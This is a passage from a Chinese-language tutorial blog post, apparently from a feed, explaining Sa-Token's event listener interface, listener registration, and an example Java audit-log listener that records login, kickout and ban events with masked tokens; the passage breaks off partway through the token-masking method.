    <category term="Sa-Token系列篇" scheme="https://blog.prorisehub.com/tags/Sa-Token%E7%B3%BB%E5%88%97%E7%AF%87/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>第一章. 全局侦听器——订阅框架的关键事件</h1><p><strong>阶段式学习路径</strong></p><p>前三篇笔记解决的都是&quot;如何控制访问&quot;的问题——登录、鉴权、下线。但还有一类需求没有覆盖：<strong>当这些事件发生时，我们能不能知道？</strong></p><p>用户在哪个 IP 登录了？用哪种设备？账号被踢下线的原因是管理员操作还是被新设备顶替？二级认证是什么时候开启的？这些问题在业务层面非常重要——审计日志、异地登录告警、行为分析都依赖它们。</p><p>Sa-Token 的侦听器机制就是为此而生。它允许你订阅框架的关键性事件，在事件触发时执行自定义逻辑，而不需要侵入框架本身的任何代码。</p><hr><h2 id="1-1-工作原理与内置侦听器">1.1. 工作原理与内置侦听器</h2><p>Sa-Token 内部在每个关键动作执行时，都会向 <strong>事件发布中心 <code>SaTokenEventCenter</code></strong> 广播一个事件。所有已注册的侦听器会按注册顺序依次收到通知并执行各自的回调方法。</p><p>框架默认内置了一个侦听器实现 <code>SaTokenListenerForLog</code>，功能是将所有事件以 <code>log</code> 的形式打印到控制台。它默认关闭，通过一行配置开启：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">sa-token:</span></span><br><span class="line">  <span class="attr">is-log:</span> <span class="literal">true</span>   <span class="comment"># 开启框架事件的控制台日志输出</span></span><br></pre></td></tr></table></figure><p>开启后，用户每次登录、注销、被踢下线，控制台都会打印对应的日志行，方便开发阶段快速感知框架行为。生产环境建议关闭，改用自定义侦听器写入结构化日志。</p><hr><h2 id="1-2-全部事件方法一览">1.2. 全部事件方法一览</h2><p><code>SaTokenListener</code> 接口一共定义了 12 个回调方法，覆盖了从登录到 Session 销毁的完整生命周期。以下逐一说明每个方法的触发时机和参数含义：</p><p><strong>登录与注销</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次登录时触发</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType       登录类型，默认 &quot;login&quot;，多账号体系时用于区分账号类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginId         登录的账号 id</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> tokenValue      本次登录生成的 Token 值</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginParameter  本次登录的完整参数对象，可从中取出设备类型、有效期等细节</span></span><br><span class="line"><span class="comment"> *                        loginParameter.getDeviceType() → 登录设备类型（PC / APP 等）</span></span><br><span class="line"><span class="comment"> *                        loginParameter.getTimeout()    → 本次 Token 有效期（秒）</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doLogin</span><span class="params">(String loginType, Object loginId, String tokenValue, SaLoginParameter loginParameter)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次注销时触发（用户主动调用 StpUtil.logout() 时）</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType  登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginId    被注销的账号 id</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> tokenValue 被注销的 Token 值</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doLogout</span><span class="params">(String loginType, Object loginId, String tokenValue)</span>;</span><br></pre></td></tr></table></figure><p><strong>下线事件</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次被踢下线时触发（管理员调用 StpUtil.kickout() 时）</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType  登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginId    被踢下线的账号 id</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> tokenValue 被踢下线的 Token 值</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doKickout</span><span class="params">(String loginType, Object loginId, String tokenValue)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次被顶下线时触发（同端新登录自动顶替旧会话时）</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType  登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginId    被顶下线的账号 id</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> tokenValue 被顶下线的 Token 值</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doReplaced</span><span class="params">(String loginType, Object loginId, String tokenValue)</span>;</span><br></pre></td></tr></table></figure><p><strong>封禁事件</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次账号被封禁时触发</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType   登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginId     被封禁的账号 id</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> service     业务标识（分类封禁时有值，整体封禁时为默认值）</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> level       封禁等级（阶梯封禁时有效，普通封禁时为 1）</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> disableTime 封禁时长，单位：秒，-1 代表永久封禁</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doDisable</span><span class="params">(String loginType, Object loginId, String service, <span class="type">int</span> level, <span class="type">long</span> disableTime)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次账号被解封时触发</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType 登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginId   被解封的账号 id</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> service   被解封的业务标识</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doUntieDisable</span><span class="params">(String loginType, Object loginId, String service)</span>;</span><br></pre></td></tr></table></figure><p><strong>二级认证事件</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次开启二级认证时触发</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType  登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> tokenValue 开启二级认证的 Token 值</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> service    业务标识（不指定业务标识时为默认值）</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> safeTime   本次二级认证的有效期，单位：秒</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doOpenSafe</span><span class="params">(String loginType, String tokenValue, String service, <span class="type">long</span> safeTime)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次关闭二级认证时触发（主动调用 StpUtil.closeSafe() 或有效期到期时）</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType  登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> tokenValue 关闭二级认证的 Token 值</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> service    业务标识</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doCloseSafe</span><span class="params">(String loginType, String tokenValue, String service)</span>;</span><br></pre></td></tr></table></figure><p><strong>Session 事件</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次创建 Session 时触发</span></span><br><span class="line"><span class="comment"> * Session 包括 Account-Session 和 Token-Session 两种类型</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> id Session 的唯一标识（框架内部生成的字符串 key）</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doCreateSession</span><span class="params">(String id)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次注销 Session 时触发</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> id Session 的唯一标识</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doLogoutSession</span><span class="params">(String id)</span>;</span><br></pre></td></tr></table></figure><p><strong>Token 续期事件</strong></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 每次 Token 续期时触发</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginType  登录类型</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> loginId    续期 Token 对应的账号 id</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> tokenValue 被续期的 Token 值</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> timeout    续期后的有效期，单位：秒，-1 代表永久有效</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">void</span> <span class="title function_">doRenewTimeout</span><span class="params">(String loginType, Object loginId, String tokenValue, <span class="type">long</span> timeout)</span>;</span><br></pre></td></tr></table></figure><hr><h2 id="1-3-三种实现方式">1.3. 三种实现方式</h2><p><strong>方式一：实现 <code>SaTokenListener</code> 接口（全量实现）</strong></p><p>适合需要处理多个事件的场景。缺点是必须实现接口中的全部方法，即使某些方法你根本不关心，也得写空实现。</p><p><strong>方式二：继承 <code>SaTokenListenerForSimple</code>（推荐）</strong></p><p><code>SaTokenListenerForSimple</code> 是框架提供的适配器类，对所有事件提供了空实现。继承它之后，<strong>只需重写你关心的方法</strong>，其余方法保持默认空实现即可。这是最推荐的方式：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MySaTokenListener</span> <span class="keyword">extends</span> <span class="title class_">SaTokenListenerForSimple</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doLogin</span><span class="params">(String loginType, Object loginId, String tokenValue,</span></span><br><span class="line"><span class="params">                        SaLoginParameter loginParameter)</span> &#123;</span><br><span class="line">        <span class="comment">// 只关心登录事件，其余方法无需重写</span></span><br><span class="line">        System.out.println(<span class="string">&quot;用户登录：&quot;</span> + loginId);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>方式三：匿名内部类（轻量场景）</strong></p><p>适合只需要临时注册、或在测试代码中快速验证的场景：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">SaTokenEventCenter.registerListener(<span class="keyword">new</span> <span class="title class_">SaTokenListenerForSimple</span>() &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doLogin</span><span class="params">(String loginType, Object loginId, String tokenValue,</span></span><br><span class="line"><span class="params">                        SaLoginParameter loginParameter)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;匿名侦听器：用户 &quot;</span> + loginId + <span class="string">&quot; 登录了&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><hr><h2 id="1-4-注册方式与-SaTokenEventCenter-管理-API">1.4. 注册方式与 SaTokenEventCenter 管理 API</h2><p><strong>自动注册（推荐）</strong></p><p>只要实现类上加了 <code>@Component</code> 注解，SpringBoot 启动时会自动将其扫描并注册到事件中心，无需任何额外配置：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Component</span>   <span class="comment">// 有这个注解，框架自动发现并注册</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MySaTokenListener</span> <span class="keyword">extends</span> <span class="title class_">SaTokenListenerForSimple</span> &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>手动注册</strong></p><p>在非 IoC 环境下，或者需要在运行时动态注册侦听器时，使用 <code>SaTokenEventCenter</code> 手动操作：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 注册一个侦听器</span></span><br><span class="line">SaTokenEventCenter.registerListener(<span class="keyword">new</span> <span class="title class_">MySaTokenListener</span>());</span><br><span class="line"></span><br><span class="line"><span class="comment">// 注册一组侦听器</span></span><br><span class="line">SaTokenEventCenter.registerListenerList(listenerList);</span><br></pre></td></tr></table></figure><p><code>SaTokenEventCenter</code> 还提供了完整的侦听器管理能力：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取已注册的所有侦听器</span></span><br><span class="line">SaTokenEventCenter.getListenerList();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 重置侦听器集合（替换全部）</span></span><br><span class="line">SaTokenEventCenter.setListenerList(listenerList);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 移除指定的侦听器实例</span></span><br><span class="line">SaTokenEventCenter.removeListener(listener);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 移除指定类型的所有侦听器</span></span><br><span class="line">SaTokenEventCenter.removeListener(MySaTokenListener.class);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 清空所有已注册的侦听器</span></span><br><span class="line">SaTokenEventCenter.clearListener();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 判断是否已注册了指定侦听器实例</span></span><br><span class="line">SaTokenEventCenter.hasListener(listener);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 判断是否已注册了指定类型的侦听器</span></span><br><span class="line">SaTokenEventCenter.hasListener(MySaTokenListener.class);</span><br></pre></td></tr></table></figure><p>多个侦听器可以同时存在，彼此独立，互不影响，按照注册顺序依次接收到事件通知。</p><hr><h2 id="1-5-实战：登录审计日志记录器">1.5. 实战：登录审计日志记录器</h2><p><code>System.out.println</code> 能说明机制，却没有实际业务价值。下面用侦听器实现一个完整的登录审计日志记录器，覆盖登录、注销、踢人、顶替四种事件，记录每次操作的时间、账号、Token，以及下线原因。</p><p>📄 <code>src/main/java/com/example/authsatoken/listener/AuditLogListener.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.listener;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.listener.SaTokenListenerForSimple;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.stp.parameter.SaLoginParameter;</span><br><span class="line"><span class="keyword">import</span> org.slf4j.Logger;</span><br><span class="line"><span class="keyword">import</span> org.slf4j.LoggerFactory;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.time.LocalDateTime;</span><br><span class="line"><span class="keyword">import</span> java.time.format.DateTimeFormatter;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 登录审计日志侦听器</span></span><br><span class="line"><span class="comment"> * 记录用户登录、注销、被踢下线、被顶下线等关键事件</span></span><br><span class="line"><span class="comment"> * &lt;p&gt;</span></span><br><span class="line"><span class="comment"> * 实际项目中，可将日志写入数据库或专用日志服务（如 ELK），此处以 SLF4J 日志输出演示</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuditLogListener</span> <span class="keyword">extends</span> <span class="title class_">SaTokenListenerForSimple</span> &#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Logger</span> <span class="variable">log</span> <span class="operator">=</span> LoggerFactory.getLogger(AuditLogListener.class);</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">DateTimeFormatter</span> <span class="variable">FORMATTER</span> <span class="operator">=</span></span><br><span class="line">DateTimeFormatter.ofPattern(<span class="string">&quot;yyyy-MM-dd HH:mm:ss&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 登录事件</span></span><br><span class="line"><span class="comment"> * 可以从 loginParameter 中取出设备类型、Token 有效期等登录细节</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doLogin</span><span class="params">(String loginType, Object loginId, String tokenValue,</span></span><br><span class="line"><span class="params">                    SaLoginParameter loginParameter)</span> &#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line"><span class="type">String</span> <span class="variable">deviceType</span> <span class="operator">=</span> loginParameter.getDeviceType();</span><br><span class="line"><span class="type">long</span> <span class="variable">timeout</span> <span class="operator">=</span> loginParameter.getTimeout();</span><br><span class="line">log.info(<span class="string">&quot;[审计日志] 用户登录 | 时间=&#123;&#125; | 账号=&#123;&#125; | 设备=&#123;&#125; | Token有效期=&#123;&#125;秒 | Token=&#123;&#125;&quot;</span>,</span><br><span class="line">now(), loginId, deviceType, timeout, mask(tokenValue));</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">log.error(<span class="string">&quot;[审计日志] 记录登录事件失败&quot;</span>, e);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 注销事件（用户主动退出）</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doLogout</span><span class="params">(String loginType, Object loginId, String tokenValue)</span> &#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">log.info(<span class="string">&quot;[审计日志] 用户注销 | 时间=&#123;&#125; | 账号=&#123;&#125; | Token=&#123;&#125;&quot;</span>,</span><br><span class="line">now(), loginId, mask(tokenValue));</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">log.error(<span class="string">&quot;[审计日志] 记录注销事件失败&quot;</span>, e);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 踢下线事件（管理员操作）</span></span><br><span class="line"><span class="comment"> * 区别于用户主动注销，这里可以额外触发消息推送通知用户</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doKickout</span><span class="params">(String loginType, Object loginId, String tokenValue)</span> &#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">log.warn(<span class="string">&quot;[审计日志] 用户被踢下线 | 时间=&#123;&#125; | 账号=&#123;&#125; | 原因=管理员操作 | Token=&#123;&#125;&quot;</span>,</span><br><span class="line">now(), loginId, mask(tokenValue));</span><br><span class="line"><span class="comment">// 实际项目中，可在此处推送消息通知用户，例如：</span></span><br><span class="line"><span class="comment">// messageService.push(loginId, &quot;您的账号已被管理员强制下线，如有疑问请联系客服&quot;);</span></span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">log.error(<span class="string">&quot;[审计日志] 记录踢下线事件失败&quot;</span>, e);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 顶下线事件（新设备登录自动顶替）</span></span><br><span class="line"><span class="comment"> * 典型的异地登录场景，可触发安全告警</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doReplaced</span><span class="params">(String loginType, Object loginId, String tokenValue)</span> &#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">log.warn(<span class="string">&quot;[审计日志] 用户被顶下线 | 时间=&#123;&#125; | 账号=&#123;&#125; | 原因=新设备登录 | Token=&#123;&#125;&quot;</span>,</span><br><span class="line">now(), loginId, mask(tokenValue));</span><br><span class="line"><span class="comment">// 实际项目中，可在此处触发异地登录安全告警：</span></span><br><span class="line"><span class="comment">// securityAlertService.sendLoginAlert(loginId, &quot;您的账号在新设备上登录，旧设备已下线&quot;);</span></span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">log.error(<span class="string">&quot;[审计日志] 记录顶下线事件失败&quot;</span>, e);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 封禁事件</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Override</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doDisable</span><span class="params">(String loginType, Object loginId, String service,</span></span><br><span class="line"><span class="params">                      <span class="type">int</span> level, <span class="type">long</span> disableTime)</span> &#123;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line"><span class="type">String</span> <span class="variable">duration</span> <span class="operator">=</span> disableTime == -<span class="number">1</span> ? <span class="string">&quot;永久&quot;</span> : disableTime + <span class="string">&quot;秒&quot;</span>;</span><br><span class="line">log.warn(<span class="string">&quot;[审计日志] 用户被封禁 | 时间=&#123;&#125; | 账号=&#123;&#125; | 服务=&#123;&#125; | 等级=&#123;&#125; | 时长=&#123;&#125;&quot;</span>,</span><br><span class="line">now(), loginId, service, level, duration);</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">log.error(<span class="string">&quot;[审计日志] 记录封禁事件失败&quot;</span>, e);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 当前时间格式化</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">private</span> String <span class="title function_">now</span><span class="params">()</span> &#123;</span><br><span class="line"><span class="keyword">return</span> LocalDateTime.now().format(FORMATTER);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Token 脱敏：只显示前 8 位，其余用 * 替换</span></span><br><span class="line"><span class="comment"> * 日志中不应记录完整 Token，防止日志泄露导致会话被劫持</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">private</span> String <span class="title function_">mask</span><span class="params">(String token)</span> 